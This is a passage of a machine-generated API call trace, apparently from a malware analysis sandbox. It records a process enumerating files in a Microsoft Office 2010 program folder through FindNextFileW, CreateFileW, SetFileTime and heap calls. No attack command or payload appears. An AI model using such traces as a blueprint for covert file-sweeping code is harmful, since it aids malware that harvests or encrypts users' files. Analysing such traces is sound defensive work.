ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x40dec00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0xff368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORDB.EXE", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7931a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x59460250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7931a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x20158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.EXE", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a28c350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x89b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORES.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7466000, ftCreationTime.dwHighDateTime=0x1caccde, ftLastAccessTime.dwLowDateTime=0x6a2fe770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7466000, ftLastWriteTime.dwHighDateTime=0x1caccde, nFileSizeHigh=0x0, nFileSizeLow=0xdc158, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWORD.OLB", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633f6700, ftCreationTime.dwHighDateTime=0x1c9ce43, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633f6700, ftLastWriteTime.dwHighDateTime=0x1c9ce43, nFileSizeHigh=0x0, nFileSizeLow=0x46530, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSYUBIN7.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e32200, ftCreationTime.dwHighDateTime=0x1c62ad6, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e32200, ftLastWriteTime.dwHighDateTime=0x1c62ad6, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="MYSL.ICO", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636bfc00, ftCreationTime.dwHighDateTime=0x1cb7010, ftLastAccessTime.dwLowDateTime=0xd79ccfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x636bfc00, ftLastWriteTime.dwHighDateTime=0x1cb7010, nFileSizeHigh=0x0, nFileSizeLow=0x1b968, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAME.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLPROXY.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a7a600, ftCreationTime.dwHighDateTime=0x1cab99a, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19a7a600, ftLastWriteTime.dwHighDateTime=0x1cab99a, nFileSizeHigh=0x0, nFileSizeLow=0x1ab80, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMECONTROLSERVER.EXE", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948ed600, ftCreationTime.dwHighDateTime=0x1ca913a, ftLastAccessTime.dwLowDateTime=0xbdf30d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948ed600, ftLastWriteTime.dwHighDateTime=0x1ca913a, nFileSizeHigh=0x0, nFileSizeLow=0x26180, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAMEEXT.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a4c77f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x77cdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Data0011.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x258bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Lexicons0011.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17736b00, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa225ad60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x17736b00, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x589bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS0009.dll", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a36d00, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa7323800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56a36d00, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0x5ef3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000A.dll", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1cc400, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa4b90a40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3c1cc400, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0x5697b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7MODELS000C.dll", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b465500, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b465500, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0x652bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NL7Models0011.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bc1b000, ftCreationTime.dwHighDateTime=0x1cbe56f, ftLastAccessTime.dwLowDateTime=0xe07baf60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bc1b000, ftLastWriteTime.dwHighDateTime=0x1cbe56f, nFileSizeHigh=0x0, nFileSizeLow=0x1ceb168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OART.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b7fea00, ftCreationTime.dwHighDateTime=0x1cac1ed, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fea00, ftLastWriteTime.dwHighDateTime=0x1cac1ed, nFileSizeHigh=0x0, nFileSizeLow=0x124e978, dwReserved0=0x0, dwReserved1=0x0, cFileName="OARTCONV.DLL", cAlternateFileName="")) returned 1 [0069.326] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xa00c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCRVC.DAT", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a5b300, ftCreationTime.dwHighDateTime=0x1ca99c5, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67a5b300, ftLastWriteTime.dwHighDateTime=0x1ca99c5, nFileSizeHigh=0x0, nFileSizeLow=0x1c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="OEMPRINT.CAT", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e266b00, ftCreationTime.dwHighDateTime=0x1cbd863, ftLastAccessTime.dwLowDateTime=0xdb444c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e266b00, ftLastWriteTime.dwHighDateTime=0x1cbd863, nFileSizeHigh=0x0, nFileSizeLow=0x961380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWC.DLL", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54f27b00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54f27b00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x7d778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFXML.DLL", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32a39900, ftCreationTime.dwHighDateTime=0x1c6f3cf, ftLastAccessTime.dwLowDateTime=0x5977ff30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32a39900, ftLastWriteTime.dwHighDateTime=0x1c6f3cf, nFileSizeHigh=0x0, nFileSizeLow=0x9bb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="ogalegit.dll", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc62000, ftCreationTime.dwHighDateTime=0x1cb6ffe, ftLastAccessTime.dwLowDateTime=0xdd1216c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbfc62000, ftLastWriteTime.dwHighDateTime=0x1cb6ffe, nFileSizeHigh=0x0, nFileSizeLow=0x4bc778, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIMG.DLL", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd79f3100, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x49168, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.EXE", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7afdaa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x175970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISAPP.DLL", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x6988, dwReserved0=0x0, dwReserved1=0x0, cFileName="oisctrl.dll", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58faa00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xd7b23c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd58faa00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x59f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISGRAPH.DLL", cAlternateFileName="")) returned 1 [0069.327] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x3f580, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLKFSTUB.DLL", cAlternateFileName="")) returned 1 [0069.327] GetLastError () returned 0x12 [0069.327] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0069.327] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.328] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x18000)) returned 1 [0069.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.328] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0069.328] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x105dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x105dbc0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0069.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x105dbc0) returned 1 [0069.328] NtClose (Handle=0x18c) returned 0x0 [0069.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103c6d0) returned 1 [0069.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x103c6d0 [0069.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058988 [0069.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a10 [0069.328] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0069.340] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.369] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0069.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x101acc0 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058b20 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLKI.DLL", cAlternateFileName="")) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.370] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6146600, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6146600, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x26b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDTUI.DLL", cAlternateFileName="")) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a36c100, ftCreationTime.dwHighDateTime=0x1c6af9a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a36c100, ftLastWriteTime.dwHighDateTime=0x1c6af9a, nFileSizeHigh=0x0, nFileSizeLow=0x53de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIP10.HLP", cAlternateFileName="")) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 [0069.371] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.371] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1058a98 